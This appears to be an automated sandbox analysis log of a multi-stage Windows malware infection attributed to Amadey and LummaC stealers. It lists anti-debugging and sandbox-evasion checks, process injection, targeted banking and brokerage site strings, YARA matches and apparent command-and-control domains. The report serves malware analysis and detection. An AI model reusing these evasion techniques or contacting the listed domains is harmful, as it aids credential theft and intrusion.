Source: skotes.exe, 00000006.00000002.3727275583.0000000000DC9000.00000004.00000020.00020000.00000000.sdmp, 87c402ca32.exe, 00000009.00000002.3519078465.000000000129C000.00000004.00000020.00020000.00000000.sdmp, 87c402ca32.exe, 00000009.00000002.3519078465.00000000012D7000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3644810218.0000000001489000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3642841459.0000000001488000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000010.00000002.3722554233.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000010.00000002.3722554233.0000000000F33000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: skotes.exe, 00000006.00000002.3727275583.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000010.00000002.3722554233.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 1de5b2f311.exe, 00000015.00000003.3597306159.000000000334B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe	Binary or memory string: H'\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWd
Source: Bestsoundeffectives.exe, 00000018.00000002.3715102441.0000000005830000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: dVMci9VdWG
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: Bestsoundeffectives.exe, 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SerialNumber0VMware\|VIRTUAL\|A M I\|XenDselect * from Win32_ComputerSystem
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: Bestsoundeffectives.exe, 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: model0Microsoft\|VMWare\|Virtual
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: file.exe, 00000001.00000002.2500152147.00000000009BD000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000003.00000002.2549263920.000000000079D000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000004.00000002.2548963070.000000000079D000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmp, 8a32a8d958.exe, 0000000D.00000002.3643867035.0000000001053000.00000040.00000001.01000000.0000000F.sdmp, ece32691cf.exe, 00000017.00000002.3724755584.0000000000F6F000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 1de5b2f311.exe, 00000015.00000003.3597689448.0000000003413000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: F7hGfsX1sRaIfeD1h5f

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_04EA0CEE rdtsc

1_2_04EA0CEE

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0080652B mov eax, dword ptr fs:[00000030h]	1_2_0080652B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0080A302 mov eax, dword ptr fs:[00000030h]	1_2_0080A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005EA302 mov eax, dword ptr fs:[00000030h]	3_2_005EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_005E652B mov eax, dword ptr fs:[00000030h]	3_2_005E652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005EA302 mov eax, dword ptr fs:[00000030h]	4_2_005EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 4_2_005E652B mov eax, dword ptr fs:[00000030h]	4_2_005E652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005EA302 mov eax, dword ptr fs:[00000030h]	6_2_005EA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_005E652B mov eax, dword ptr fs:[00000030h]	6_2_005E652B

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe

Memory written: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: rapeflowwj.lat
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: crosshuaht.lat
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sustainskelet.lat
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: aspecteirs.lat
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: energyaffai.lat
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: necklacebudi.lat
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: discokeyus.lat
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: grannyejh.lat
Source: 87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lossekniyyt.click
Source: 8a32a8d958.exe, 0000000D.00000003.3398072623.00000000050E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sweepyribs.lat
Source: 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: pancakedipyps.click
Source: ece32691cf.exe, 00000017.00000003.3570231289.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: treehoneyi.click

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe "C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe "C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe "C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe "C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process created: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe "C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Process created: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe "C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process created: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe "C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\Target.exe "C:\Users\user\AppData\Roaming\Target.exe"
Source: C:\Users\user\AppData\Roaming\Target.exe	Process created: C:\Users\user\AppData\Roaming\Target.exe "C:\Users\user\AppData\Roaming\Target.exe"
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Process created: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe "C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe"
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Process created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Process created: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe "C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe"
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Process created: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe "C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe"

Source: 8a32a8d958.exe, 0000000D.00000002.3643867035.0000000001053000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: _Program Manager
Source: skotes.exe, skotes.exe, 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: KProgram Manager
Source: ece32691cf.exe, 00000017.00000002.3724755584.0000000000F6F000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: jLProgram Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_005CDD91 cpuid

6_2_005CDD91

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Roaming\Target.exe	Queries volume information: C:\Users\user\AppData\Roaming\Target.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\Target.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\Target.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_007ECBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

1_2_007ECBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_005B65E0 LookupAccountNameA,

6_2_005B65E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_005F2517 GetTimeZoneInformation,

6_2_005F2517

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 87c402ca32.exe, 00000009.00000002.3520088754.0000000001336000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3580002790.0000000001537000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 7.2.Baursystempower.exe.3d48cb0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Baursystempower.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Gxtuum.exe.3795570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.Gxtuum.exe.3795570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Baursystempower.exe.3d48cb0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Baursystempower.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3471820521.0000000003791000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3350482132.0000000003D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3321609475.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.skotes.exe.5b0000.0.unpack, type: UNPACKEDPE
